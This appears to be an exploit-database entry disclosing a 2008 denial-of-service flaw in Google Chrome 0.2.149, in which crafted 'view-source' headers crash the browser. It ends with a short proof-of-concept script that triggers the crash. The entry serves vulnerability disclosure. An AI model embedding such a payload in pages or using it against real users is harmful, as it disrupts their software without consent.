Google Chrome 0.2.149 - Malformed 'view-source' HTTP Header Remote Denial of Service

Author: Juan Pablo Lopez Yacubian
type: dos
platform: multiple
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date_added: 2008-09-05 
date_updated: 2014-03-18 
verified: 1 
codes: OSVDB-48263 
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source: https://www.securityfocus.com/bid/31035/info

Google Chrome is prone to a remote denial-of-service vulnerability because the application fails to handle specially crafted HTTP 'view-source' headers.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected.

<script>
a = window.open("view-source:http://123")
a.alert(1)
</script>